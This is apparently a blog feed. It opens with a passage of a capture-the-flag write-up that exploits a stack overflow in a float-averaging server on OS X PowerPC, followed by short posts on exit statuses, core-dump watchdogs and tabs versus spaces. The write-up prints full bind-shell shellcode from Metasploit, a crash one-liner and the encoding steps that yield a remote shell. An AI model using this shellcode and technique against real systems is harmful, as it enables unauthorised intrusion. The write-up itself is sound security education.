<p>It took a bit of experimentation, but I eventually figured out that the server didn&#8217;t compute and return results unless you sent a literal ^D (EOF) character.  Let&#8217;s send a gazillion numbers and see what happens:</p>
<pre>$ python -c 'print " ".join(map(str, range(10000))), "\4"' | nc localhost 4138
Send me some floats (max of 16), I will tell you some stats!
$</pre>
<p>Yep, it crashed all right.  Now let&#8217;s exploit it.  The first step is figuring out where in memory the buffer of floats is being stored.  Normally we could just attach a debugger and figure it out, but debugging a process running Rosetta is not trivial.  Fortunately, it is possible—a little googling leads one to <a href="http://www.extinguishedscholar.com/wpglob/?p=319">this blog post</a> and the <a href="http://developer.apple.com/legacy/mac/library/documentation/MacOSX/Conceptual/universal_binary/universal_binary_intro/universal_binary_intro.html">Universal Binary Programming Guidelines</a>, which detail the procedure.  Run the binary with the <code>OAH_GDB</code> environment variable set, and then in another shell, run <code>gdb --oah</code>, attach to the process, and continue:</p>
<pre># First shell
$ OAH_GDB=YES ./pp400_8c9d628d2144bbe8b.bin
Starting Unix GDB Session
Listening

# Second shell (must be luser or root)
$ gdb --oah
(gdb) attach pp400_8c9d628d21.9453
(gdb) c</pre>
<p>Unfortunately, it seems that the follow-fork-mode option for GDB does not work on OS X, so if you attempt to set it, you&#8217;ll find that you&#8217;re still attached to the parent process regardless of its setting.  But fortunately, if the child process crashes, gdb still manages to halt when the crash occurs and inspect the program state.  Run the earlier Python one-liner to crash the child process:</p>
<pre>Program received signal SIGSEGV, Segmentation fault.
0x000033f8 in ?? ()
(gdb) disas $pc-20 $pc+20
Dump of assembler code from 0x33e4 to 0x340c:
0x000033e4:     lfs     f0,128(r30)
0x000033e8:     rlwinm  r2,r0,2,0,29
0x000033ec:     addi    r0,r30,56
0x000033f0:     add     r2,r2,r0
0x000033f4:     addi    r2,r2,8
0x000033f8:     stfs    f0,0(r2)
0x000033fc:     lwz     r2,60(r30)
0x00003400:     addi    r0,r2,1
0x00003404:     stw     r0,60(r30)
0x00003408:     addi    r0,r30,128
End of assembler dump.
(gdb) p/x $r2
$1 = 0xc0000000
(gdb) p/x $sp
$2 = 0xbffff400
(gdb) x/32x $r2-128
0xbfffff80:     0x44340000      0x44344000      0x44348000      0x4434c000
0xbfffff90:     0x44350000      0x44354000      0x44358000      0x4435c000
0xbfffffa0:     0x44360000      0x44364000      0x44368000      0x4436c000
0xbfffffb0:     0x44370000      0x44374000      0x44378000      0x4437c000
0xbfffffc0:     0x44380000      0x44384000      0x44388000      0x4438c000
0xbfffffd0:     0x44390000      0x44394000      0x44398000      0x4439c000
0xbfffffe0:     0x443a0000      0x443a4000      0x443a8000      0x443ac000
0xbffffff0:     0x443b0000      0x443b4000      0x443b8000      0x443bc000</pre>
<p>What happened here is we walked off the stack: we just kept copying into the stack buffer all the way up the stack, which started at 0xbffffffc.  We can clearly see the increasing set of floating-point numbers filling the end of the stack.  Using this <a href="http://babbage.cs.qc.edu/IEEE-754/32bit.html">handy dandy IEEE 754 calculator</a>, we see that 0&#120;44340000 is the float 720, which means the buffer started at 0&#120;bfffff80 &#8211; 720*4 = 0&#120;bffff440, which at this point is $sp+0&#120;40.</p>
<p>To exploit this now, we need to put our payload on the stack and then overwrite a return address with the proper stack address so we jump into the payload.  We also can&#8217;t write more than about 751 numbers, since we&#8217;d crash before we got to the payload as we did just here, but fortunately this isn&#8217;t a problem.</p>
<p>Now let&#8217;s figure out in the payload the stack address needs to go.  Restart the server, reattach gdb, and rerun the Python one-liner with only 100 numbers instead of 10000.  The result:</p>
<pre>Program received signal SIGSEGV, Segmentation fault.
0x41d00000 in ?? ()</pre>
<p>The program counter ended up at 0&#120;41d00000, which is the float 26.  So, we need to place our pointer into the payload in the 27th number; the first 26 can be anything.</p>
<p>For the payload itself, start with the osx/ppc/shell_bind_tcp payload from <a href="http://www.metasploit.com/">Metasploit</a>:</p>
<pre>$ msfconsole
msf &gt; use osx/ppc/shell_bind_tcp
msf payload(shell_bind_tcp) &gt; generate -t c
/*
 * osx/ppc/shell_bind_tcp - 224 bytes
 * http://www.metasploit.com
 * AutoRunScript=, AppendExit=false, PrependSetresuid=false,
 * InitialAutoRunScript=, PrependSetuid=false, LPORT=4444,
 * RHOST=, PrependSetreuid=false
 */
unsigned char buf[] =
"\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00"
"\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00"
"\x00\x0d\x00\x02\x11\x5c\x00\x00\x00\x00\x7c\x88\x02\xa6\x38"
"\xa0\x00\x10\x38\x00\x00\x68\x7f\xc3\xf3\x78\x44\x00\x00\x02"
"\x7c\x00\x02\x78\x38\x00\x00\x6a\x7f\xc3\xf3\x78\x44\x00\x00"
"\x02\x7c\x00\x02\x78\x7f\xc3\xf3\x78\x38\x00\x00\x1e\x38\x80"
"\x00\x10\x90\x81\xff\xe8\x38\xa1\xff\xe8\x38\x81\xff\xf0\x44"
"\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x38\xa0\x00\x02"
"\x38\x00\x00\x5a\x7f\xc3\xf3\x78\x7c\xa4\x2b\x78\x44\x00\x00"
"\x02\x7c\x00\x02\x78\x38\xa5\xff\xff\x2c\x05\xff\xff\x40\x82"
"\xff\xe5\x38\x00\x00\x42\x44\x00\x00\x02\x7c\x00\x02\x78\x7c"
"\xa5\x2a\x79\x40\x82\xff\xfd\x7c\x68\x02\xa6\x38\x63\x00\x28"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x00\x00"
"\x3b\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xe0"
"\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00";</pre>
<p>We can&#8217;t just send the payload as-is, though.  We have to send it as floats which then get sscanf&#8217;ed into the raw binary.  So we need to take the payload, group it into 4-byte units, convert those to floats, and print those out as strings, being careful that the resulting strings reconvert back properly.  PowerPC instructions are fixed at 4 bytes, which is convenient in this case.  I did that with this little C snippet:</p>
<pre class="brush: cpp; title: ; notranslate">void emit(unsigned int op)
{
  char buf[256];

  union
  {
    unsigned int op;
    float f;
  } u;

  float g;

  u.op = op;
  sprintf(buf, &quot;%64.64f&quot;, u.f);
  if(sscanf(buf, &quot;%f&quot;, &amp;g) != 1 || g != u.f)
    printf(&quot;***BAD*** 0x%08x (%s)\n&quot;, u.op, buf);
  else
    printf(&quot;%s\n&quot;, buf);
}</pre>
<p>Trying it out, we see a couple of the opcodes from the payload don&#8217;t encode properly: 7fc3f378 (mr r3,r30) and 7fe00008 (trap).  Why?  Well, these correspond to encodings of <a href="http://en.wikipedia.org/wiki/NaN">NaN</a>.  If you try and sscanf back the string &#8220;nan&#8221;, you&#8217;re not going to get those values back.</p>
<p>Time to bust out the <a href="http://www.power.org/resources/downloads/PowerISA_V2.06_PUBLIC.pdf">Power ISA</a>.  Let&#8217;s find some instructions we can replace those with that encode properly.  We want to avoid any instruction that begins with the bits 011111111 or 111111111.  After some perusing through the opcode maps, I found that &#8220;addi r3,r30,0&#8243;, encoded as 387e0000, would be a suitable replacement for &#8220;mr r3,30&#8243;, and &#8220;twi 15,r0,0&#8243;, encoded as 0de00000, would be a suitable replacement for &#8220;trap&#8221;.  The trap instruction isn&#8217;t actually necessary, it&#8217;s just a safety in case the system call to exec() to execute the shell fails, but I decided to replace it anyways.</p>
<p>Throw in a standard nop sled, and we&#8217;re done!  <a href="http://adamrosenfield.com/files/pp400-exploit.c">Here&#8217;s</a> the final exploit code.  Run as:</p>
<pre>$ ./pp400-exploit | nc localhost 4138
Send me some floats (max of 16), I will tell you some stats!
The average of your 148 numbers is inf
The standard deviation of your 148 numbers is inf

# Open up a new shell and connect to the bind shell
nc localhost 4444
id
uid=504(luser) gid=504(luser) groups=504(luser)
pwd
/Users/luser</pre>
<p>Huzzah!  We have a bind shell!</p>
<p>Now I mentioned earlier that I didn&#8217;t get around to solving this during the contest, so I don&#8217;t know if this exploit would have worked against the target machine.  I do know, however, that since the PowerPC exploit worked flawlessly on my x86 Mac, it wouldn&#8217;t have mattered whether the target machine was actually PPC or x86 (though I did have to tweak the length of the nop sled and the buffer address to jump to until it worked, since the program has different behavior when running under the debugger and when not).  Props to Rosetta for correctly translating code generated at runtime.</p>
<p>And that, my friends, is an anatomy of an exploit.</p>
<p>You could have done all that, or you could have realized that this problem was identical to <a href="http://shallweplayaga.me/pwnable/">pp400 from last year</a>.  I of course didn&#8217;t realize this since I didn&#8217;t compete last year, but one of my teammates pointed this out to me (yet somehow I lost the motivation to keep working on this problem&#8230;).  That unofficial writeup to which I just linked was taken down during the contest, presumably because the writers were competing again and didn&#8217;t want to give other teams an advantage, though my teammate had a copy of the text.  In any case, I still had fun solving this.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One more note about exit statuses</title>
		<link>http://adamrosenfield.com/blog/2010/05/19/one-more-note-about-exit-statuses/</link>
		<comments>http://adamrosenfield.com/blog/2010/05/19/one-more-note-about-exit-statuses/#comments</comments>
		<pubDate>Thu, 20 May 2010 01:14:41 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=90</guid>
		<description><![CDATA[Last week, I mentioned in passing that Windows allows the full range of 32-bit exit codes. That&#8217;s true, but only if you directly call ExitProcess() (or its less-friendly kin TerminateProcess()). If you just call exit() (or return from main(), which implicitly calls exit()), then like in the *NIX world, you only get the bottom 8 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/">Last week</a>, I mentioned in passing that Windows allows the full range of 32-bit exit codes.  That&#8217;s true, but only if you directly call <a href="http://msdn.microsoft.com/en-us/library/ms682658%28VS.85%29.aspx"><code>ExitProcess()</code></a> (or its less-friendly kin <a href="http://msdn.microsoft.com/en-us/library/ms686714%28v=VS.85%29.aspx"><code>TerminateProcess()</code></a>).</p>
<p>If you just call <code>exit()</code> (or return from <code>main()</code>, which implicitly calls <code>exit()</code>), then like in the *NIX world, you only get the bottom 8 bits of the exit status—see <a href="http://msdn.microsoft.com/en-us/library/6wdz5232%28VS.71%29.aspx">MSDN&#8217;s <code>exit()</code> documentation</a>.  So for portability&#8217;s sake, don&#8217;t use exit statuses above 255 unless you <em>really, really</em> need to.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/05/19/one-more-note-about-exit-statuses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>So what&#8217;s in an exit status anyways?</title>
		<link>http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/</link>
		<comments>http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:02:27 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=82</guid>
		<description><![CDATA[Last time, we saw how we can capture a process&#8217; core dump. The astute reader will have noticed that we seem to be pulling bits out of thin air: We&#8217;ve got a 32-bit exit status, and yet we seem to getting two more useful bits of information out of it from the WIFSIGNALED() and WCOREDUMP() [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://adamrosenfield.com/blog/2010/04/23/dumping-core/">Last time</a>, we saw how we can capture a process&#8217; core dump.  The astute reader will have noticed that we seem to be pulling bits out of thin air:</p>
<pre class="brush: cpp; title: ; notranslate">int status;
if(wait(&amp;status) &lt; 0)
  perror(&quot;wait&quot;);
if(WIFSIGNALED(status) &amp;&amp; WCOREDUMP(status))
...</pre>
<p>We&#8217;ve got a 32-bit exit status, and yet we seem to getting two more useful bits of information out of it from the <code>WIFSIGNALED()</code> and <code>WCOREDUMP()</code> macros.  How is that possible?</p>
<p>Well, what you thought was a 32-bit exit status really isn&#8217;t 32 bits.  In fact, it&#8217;s quite a bit less than.  The C standard only guarantees one useful bit.  Quoth section 7.20.4.3, paragraph 5, of the <a href="http://c-faq.com/ansi/avail.html">C99 standard</a>, which describes the <a href="http://linux.die.net/man/3/exit"><code>exit(3)</code></a> function:</p>
<blockquote><p>Finally, control is returned to the host environment. If the value of <code>status</code> is zero or <code>EXIT_SUCCESS</code>, an implementation-defined form of the status <em>successful termination</em> is returned. If the value of <code>status</code> is <code>EXIT_FAILURE</code>, an implementation-defined form of the status <em>unsuccessful termination</em> is returned. Otherwise the status returned is implementation-defined.</p></blockquote>
<p>Recall that <em>implementation-defined</em> means the C standard doesn&#8217;t define what happens, but the <em>implementation</em> (in this case, the GNU C library, or the Microsoft C library, etc.) <b>must document</b> the decision it made.  Contrast this with <em>undefined behavior</em>, in which anything could happen (including erasing your hard drive), and nowhere does what happens have to be documented.</p>
<p>So if you want to write portable code, you only get one bit of information in your exit status: successful or unsuccessful termination, which is often good enough for most applications.  If you go this route, it&#8217;s a good idea to use the <code>EXIT_SUCCESS</code> and <code>EXIT_FAILURE</code> macros, but it&#8217;s by no means necessary.  You can use still use 0 and something non-0 (1 is a popular—and good—choice), and it will still work pretty much anywhere if you&#8217;re not unlucky.  But the only truly 100% portable unsuccessful status is <code>EXIT_FAILURE</code>.</p>
<p>Screw that.  You want more than one bit of information in your exit status.  There&#8217;s a whole 32 bits (or occasionally 16 or 64 on some non-standard systems) in an <code>int</code>, so why can&#8217;t we use them?  On Linux, the <a href="http://linux.die.net/man/3/exit"><code>exit(3)</code> man page</a> clearly states we get 8 bits:</p>
<blockquote><p>The <b>exit()</b> function causes normal process termination and the value of <em>status &amp; 0377</em> is returned to the parent (see <em><b><a href="http://linux.die.net/man/2/wait">wait</a></b>(2)</em>).</p></blockquote>
<p><a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man3/exit.3.html">Mac OS X</a> likewise also provides 8 bits (though that fact is a little more subtle in the documentation there).  Windows fares better here—it provides the full 32 bits via the <a href="http://msdn.microsoft.com/en-us/library/ms683189%28v=VS.85%29.aspx"><code>GetExitCodeProcess()</code></a> function here—but the discussion here is going to focus on Linux/Mac OS X for now.</p>
<p>8 bits.  Much more useful than 1, though not quite the 32 you might have been hoping for.  It&#8217;s enough to express a varied gamut of exit statuses (<em>incorrect usage</em>, <em>file not found</em>, <em>other unexpected error</em>, etc.).</p>
<p>A consequence of this behavior is if you exit with a status that is a multiple of 256, that&#8217;s indistinguishable from 0, which means you&#8217;re likely exiting with a successful status when you meant it to be unsuccessful.  Oops.</p>
<p>As a quick example, try out these shell commands (<code>$?</code> is a <a href="http://www.gnu.org/software/bash/manual/bashref.html#Special-Parameters">special parameter</a> that evaluates to the exit status of the last child process or pipeline ran by the shell):</p>
<pre>$ bash -c 'exit 5'; echo $?     # Prints 5
$ bash -c 'exit 256'; echo $?   # Prints 0 (!)</pre>
<p>Now that we&#8217;ve figured out we only have 8 bits that come with an exit status, it&#8217;s clear how the <code>WIFSIGNALED()</code> and <code>WCOREDUMP()</code> macros work: <a href="http://linux.die.net/man/2/wait"><code>wait(2)</code></a> stuffs extra information into the status in addition to the child process&#8217; exit status (you could have figured that out by reading the man page, but you obviously didn&#8217;t since you&#8217;re here reading this).</p>
<p>One final word of caution: be careful about exit statuses above 128.  When a process is terminated due to a signal (say, because it segfaulted, resulting in a <code>SIGSEGV</code>), the exit status is 128 plus the signal number.  Yes, a parent process can tell if the child process was terminated by a signal or by calling <code>exit()</code> by checking with <code>WIFSIGNALED()</code>, but it&#8217;s not always possible to get at that information when you want it.  If you&#8217;re executing commands in the bash shell, you can get at the exit status quite easily with <code>$?</code>, but you can&#8217;t get at the other bits returned by <code>wait()</code>, at least not in any way I know.  To keep things simple, if you never use exit statuses above 128, then anyone can unambiguously determine that an exit status of 0–127 means a normal exit, and an exit status of 128–255 means an abnormal exit.</p>
<p>In summary, use only <code>EXIT_SUCCESS</code> and <code>EXIT_FAILURE</code> for maximally portable code, and otherwise use only 0–127 for code that will be portable to Linux, Mac OS X, and Windows (and probably other not-uncommon systems that are still in current us but with which I&#8217;m not familiar enough to comment on).</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dumping core</title>
		<link>http://adamrosenfield.com/blog/2010/04/23/dumping-core/</link>
		<comments>http://adamrosenfield.com/blog/2010/04/23/dumping-core/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 00:52:30 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=72</guid>
		<description><![CDATA[Your program just crashed, and you didn&#8217;t have a debugger attached. You can&#8217;t reproduce the crash after many attempt. How you do debug the problem? Well, if your program had left a core dump, you could easily attach a debugger postmortem and get some kind of idea what state the program was in before it [...]]]></description>
			<content:encoded><![CDATA[<p>Your program just crashed, and you didn&#8217;t have a debugger attached.  You can&#8217;t reproduce the crash after many attempt.  How you do debug the problem?</p>
<p>Well, if your program had left a <a href="http://en.wikipedia.org/wiki/Core_dump">core dump</a>, you could easily attach a debugger postmortem and get some kind of idea what state the program was in before it died.  A core dump is essentially a dump of all memory in your program&#8217;s virtual address space: stack, heap, code and everything else.</p>
<p>On most systems, though, you won&#8217;t get a core dump when you crash, where a crash can come from a segfault (or any other signal), a call to <a href="http://die.linux.net/man/2/abort"><tt>abort(2)</tt></a> (such as via a failed assertion), a call to <a href="http://publib.boulder.ibm.com/infocenter/lnxpcomp/v8v101/index.jsp?topic=/com.ibm.xlcpp8l.doc/language/ref/cplr163.htm"><tt>terminate()</tt></a> (such as via throwing an uncaught exception), or other similar avenues.  Core dumps are rather large (after all, it&#8217;s <em>all of the memory</em> from the process) — they can easily be tens or hundreds of megabytes, even for simple programs, due to a large number of shared libraries being loaded.  Your hard drive would fill up very quickly if every program that crashed left a core dump.</p>
<p>If you&#8217;re just poking around in the shell, you can enable core dumps with <a href="http://linux.die.net/man/1/ulimit"><tt>ulimit(1)</tt></a> to raise the core dump file size limit from 0 (the default) to something non-zero such as <tt>unlimited</tt>.  This will cause any crashing programs spawned by that shell to leave core dumps.  For example:</p>
<pre>$ cat crash.c
int main(void)
{
    *(int *)1 = 2;  // cause a segfault
}
$ gcc crash.c -o crash
$ ./crash
Segmentation fault
$ ulimit -c unlimited
$ ./crash
Segmentation fault (core dumped)
</pre>
<p>Where the core dump ends up depends on your operating system.  By default, Linux puts it in a file named <tt>core</tt> in the current working directory, and Mac OS X puts it in a file named <tt>/cores/core.&lt;PID&gt;</tt>, where &lt;PID&gt; is the process ID of the process that crashed.  The exact name and location may vary by flavor and version of OS.  See the <a href="http://linux.die.net/man/5/core">core(5)</a> man page for detailed discussion of core files on Linux.</p>
<p>Ok, so that&#8217;s all well and good if someone has the good nature to run <tt>ulimit</tt> before running your program, but few (if any) people will do so.  If you want to say, <em>&#8220;No really, I want core dumps!</em>, you can call <a href="http://linux.die.net/man/2/setrlimit"><tt>setrlimit(2)</tt></a> to set the limit for yourself and any child processes (which is all <tt>ulimit</tt> really does).  Just make sure not to annoy your users by filling up their hard drives with core dumps.  Which of course you won&#8217;t do because your code is perfect and never crashes anyways.</p>
<p>You&#8217;ve gone through the trouble of creating a core dump, but when your program crashes in some far away land, how do you actually get your hands on the core dump?  You could ask your users to email it to you, but they&#8217;re not going to do that.  They&#8217;re just going to complain on the Internet that your software sucks and that people shouldn&#8217;t use it.  Some operating systems have a nice <a href="http://developer.apple.com/mac/library/technotes/tn2004/tn2123.html">Crash Reporter</a> or <a href="http://www.microsoft.com/whdc/winlogo/maintain/StartWER.mspx">Error Reporting Service</a>, but those send crash reports to first parties, something you might not want, and getting the crash data back to you is far from trivial.</p>
<p>One solution is to install your own error handlers in-process to catch things such as segfaults and instead of letting the operating system handle the error, you handle it yourself: you do your own stack trace, grab important data such as filenames, optionally pop up a UI asking the user if he wants to send an error report and for supplemental information, and sending the crash report your way.  This is a lot of work, and it&#8217;s also dangerous: if your program has crashed, there&#8217;s no telling what state it&#8217;s in.  Trying to do something like sending an email from a signal handler could easily fail — your heap might be corrupted, so you could crash again the moment you do something as mundane as try to allocated some memory.  If you decide to go this route, a good place to start would be with <a href="http://linux.die.net/man/2/signal"><tt>signal(2)</tt></a>/<a href="http://linux.die.net/man/2/sigaction"><tt>sigaction(2)</tt></a> (*nix and OSX) or <a href="http://msdn.microsoft.com/en-us/library/ms680657%28VS.85%29.aspx">Structured Exception Handling</a> (Windows).</p>
<p>A solution that I like better is <em>out-of-process</em>.  Just let the process crash and dump core as before, but this time we&#8217;ll have a <em>watchdog process</em> running.  The watchdog just waits for the main process to exit (normally or abnormally); if it sees an abnormal exit and a core dump, then it sends off the crash report into the ether.  This is much safer, since you don&#8217;t have to worry about things such as a corrupted heap when sending a crash report.  The only downside to this you now have twice as many processes running.</p>
<p>Here&#8217;s a full example of a watchdog with core dumps.  The program forks, with the parent as the watchdog.  The child intentionally crashes, and then the parent grabs the core dump if one was made.</p>
<pre class="brush: cpp; title: ; notranslate">#include &lt;errno.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;sys/wait.h&gt;

int main(int argc, char **argv)
{
  // Try to enable core dumps
  struct rlimit core_limit;
  core_limit.rlim_cur = RLIM_INFINITY;
  core_limit.rlim_max = RLIM_INFINITY;

  if(setrlimit(RLIMIT_CORE, &amp;core_limit) &lt; 0)
    fprintf(stderr, &quot;setrlimit: %s\nWarning: core dumps may be truncated or non-existant\n&quot;, strerror(errno));

  int status;
  switch(fork())
  {
  case 0:
    // We are the child process -- run the actual program
    *(int *)1 = 2;  // segfault
    break;

  case -1:
    // An error occurred, shouldn't happen
    perror(&quot;fork&quot;);
    return -1;

  default:
    // We are the parent process -- wait for the child process to exit
    if(wait(&amp;status) &lt; 0)
      perror(&quot;wait&quot;);
    printf(&quot;child exited with status %d\n&quot;, status);
    if(WIFSIGNALED(status) &amp;&amp; WCOREDUMP(status))
    {
      printf(&quot;got a core dump\n&quot;);
      // find core dump, email it to your servers, etc.
    }
  }

  return 0;
}</pre>
<p>If you compile and run this program, you&#8217;ll get a core dump from the child process, which the parent process will detect, and it can then do whatever it wants with it.  Email it to you, upload it to a server, analyze it and trim it down before doing those, or anything else you can write code to do.  All from the safety of an uncrashed process.  If you run <tt>ulimit -c 0</tt> before running this program, you&#8217;ll see the warning about <tt>setrlimit</tt> failing and you won&#8217;t get a core dump.  This is because, if you look at the documentation for <tt>setrlimit</tt>, you&#8217;ll see that the soft limit can never exceed the hard limit, and the hard limit can only be decreased by unprivileged processes.</p>
<p>So there you have it.  You now have a way to have your software dump core when it crashes and send those core dumps back to you without any extra hassle on the user&#8217;s part.  Though depending on who your users are, it may still be a good idea to ask them if they want to send a crash report before actually doing so, since core dumps can easily contain private information in them.  If you had anything like usernames or passwords in memory anywhere in your process, they&#8217;ll be in the core dump.  So keep that in mind and take appropriate measures to protect users&#8217; privacy.  Encrypt the core dump if necessary.  Maybe even attach a cryptographic signature to ensure authenticity.</p>
<p>Links for further enrichment:</p>
<ul>
<li><a href="http://developer.apple.com/mac/library/technotes/tn2004/tn2124.html">Mac OS X debugging magic</a>, lots of great debug-fu for Mag OS X</p>
<li><a href="http://www.codeproject.com/KB/debug/XCrashReportPt1.aspx">XCrashReport</a> (<a href="http://www.codeproject.com/KB/debug/XCrashReportPt2.aspx">part 2</a>) (<a href="http://www.codeproject.com/KB/debug/XCrashReportPt3.aspx">part 3</a>) (<a href="http://www.codeproject.com/KB/debug/XCrashReportPt4.aspx">part 4</a>), a nifty in-process crash reporter for Windows
<li>And for your amusement: <a href="http://www.piratejesus.com/nerdcore/065.html">Kill -9 Bill</a>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/04/23/dumping-core/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spaces and Tabs</title>
		<link>http://adamrosenfield.com/blog/2009/07/03/spaces-and-tabs/</link>
		<comments>http://adamrosenfield.com/blog/2009/07/03/spaces-and-tabs/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 02:03:13 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=38</guid>
		<description><![CDATA[Like emacs vs. vi and what line you put your braces on, the issue of spaces versus tabs for indentation will always be a holy war among programmers. I&#8217;m from the always-use-spaces camp, but that&#8217;s not what this blog post is about. Pretty much any editor worth its weight in gold (which is not very [...]]]></description>
			<content:encoded><![CDATA[<p>Like emacs vs. vi and what line you put your braces on, the issue of spaces versus tabs for indentation will always be a holy war among programmers.  I&#8217;m from the always-use-spaces camp, but that&#8217;s not what this blog post is about.</p>
<p>Pretty much any editor worth its weight in gold (<a href="http://social.answers.microsoft.com/Forums/en-US/vistahardware/thread/720108ee-0a9c-4090-b62d-bbd5cb1a7605">which is not very much</a>) has a spaces/tab setting whereby you can hit the tab key and it inserts enough spaces to get you to the right indentation level, saving your wrists from tapping the space bar dozens of times and getting RSI.  So if you&#8217;re a spaces guy like me, go with that setting.</p>
<p>And if you&#8217;re a tabs guy, use only tabs.  Don&#8217;t mix the two, that will only lead to trouble when you&#8217;ve got someone else who uses a different tab size.  You have to be extra-careful in order to make it look right at all tab sizes.  Take the following, for instance, where <tt>[TB]</tt> is a 4-space tab, <tt>[-TAB--]</tt> is an 8-space tab, and _ is a space:</p>
<pre class="brush: cpp; title: ; notranslate">
// 4 spaces:
[TB]if(condition)
[TB]{
[TB][TB]return Matrix(1, 2, 3,
[TB][TB]______________4, 5, 6,
[TB][TB]______________7, 8, 9);
[TB]}

// 8 spaces:
[-TAB--]if(condition)
[-TAB--]{
[-TAB--][-TAB--]return Matrix(1, 2, 3,
[-TAB--][-TAB--]______________4, 5, 6,
[-TAB--][-TAB--]______________7, 8, 9);
[-TAB--]}</pre>
<p>Getting this right is hard, especially since some editors (I&#8217;m looking at <em>you</em>, Visual Studio) like to re-indent things with tabs whenever they darn well feel like it.</p>
<p>Oh, and then there&#8217;s that whole semantic whitespace thing with Python.  Can we please have our <code>from __future__ import braces</code> not throw a SyntaxError some time soon, Guido?  Using tabs with Python is just asking for trouble.  <a href="http://www.python.org/dev/peps/pep-0008/">PEP 8</a> helps, but how many people actually read PEPs?</p>
<p>Well, I seem to have been rambling on about spaces and tabs on longer than I intended.  Don&#8217;t mix spaces and tabs.</p>
<p>So the reason I started writing this post.  Getting back to that.  No really.  I was editing a makefile the other day, obtained from a source which will remain nameless.  Makefiles are notorious for being cryptic hard-to-maintain build systems filled with arcane syntax.  Makefiles are so bad that there are a gazillion tools out there whose only purpose is to generate Makefiles: <a href="http://www.gnu.org/software/automake/">automake</a>, <a href="http://www.cmake.org/">cmake</a>, <a href="http://doc.trolltech.com/4.2/qmake-manual.html">qmake</a>, <a href="http://www.perforce.com/jam/jam.html">Perforce Jam</a>, and many more, though to be fair most of these tools are targeted at producing cross-platform software.</p>
<p>But let&#8217;s say you&#8217;re not using any of those fancy-pants tools because you&#8217;re a masochist, or more likely you&#8217;ve inherited a build system from a masochist.  So you&#8217;ve got a makefile that you need to edit.  I ran into this situation the other day.  I fired up emacs, made my changes, and went to save it.</p>
<p>But something curious happened when I did so.  emacs gave me the following message: &#8220;Suspicious line 50.  Save anyways?&#8221;  Its makefile-mode apparently installs a hook that checks your makefile&#8217;s syntax when you go to save it.  Really handy.  I wish other major modes did the same, although doing so may add an unacceptable delay to saving, particularly with languages with hairy syntax <a href="http://yosefk.com/c++fqa/web-vs-c++.html#misfeature-3">such as C++</a>.</p>
<p>It turned out that line 50 had a mix of spaces and tabs indenting it.  Hard tabs are meaningful in target specifications.  In this case it didn&#8217;t end up mattering semantically, since it was in the middle of a multiline variable declaration, but I fixed it anyways to use spaces.  I was also editing another makefile for which emacs gave a warning which had a blank line with spurious spaces.  Again, not meaningful, but it was nice for the heads-up.</p>
<p>When editing a makefile in makefile-mode, emacs highlights trailing whitespace, but that&#8217;s not good enough for me.  I happened to have a snippet of elisp code in my .emacs file that highlights <em>all</em> hard tabs.  This made it especially easy to identify the problem in the offending line 50 in the makefile.  I generally keep it on, but sometimes when I&#8217;m working with an all-tabs file it gets bothersome, so I turn it off.  It&#8217;s amazing how code can have an awful mix of tabs and spaces all over the place as many different coders have touched it over time, each with their own preference for space and tabs.</p>
<p>Without further ado, the snippet.  Just plop this baby in your .emacs file, and enjoy seeing your tabs burning bright on your screen:</p>
<pre class="brush: lisp; title: ; notranslate">
; Draw tabs with the same color as trailing whitespace
(add-hook 'font-lock-mode-hook
  '(lambda ()
     (font-lock-add-keywords
       nil
        '((&quot;\t&quot; 0 'trailing-whitespace prepend))
     )
   )
)</pre>
<p>I found this snippet somewhere online, but I&#8217;ve lost the source.  If you can point me to its source, I&#8217;ll gladly attribute it.  And I just realized my syntax highlighter plugin doesn&#8217;t support any variant of Lisp.  That&#8217;ll need to be fixed at some point, since there will likely be more elisp snippets posted here in the future.  But until then, you&#8217;ll have to deal with broken syntax highlighting (currently highlighted as C++ code).  At least there&#8217;s an even number of single quotes.</p>
<p><strong>Update:</strong> Syntax highlight success!  Source code for the highlighter can be found <a href="http://adamrosenfield.com/blog/wp-content/plugins/syntaxhighlighter-ex/shBrushLisp.js">here</a>.</p>
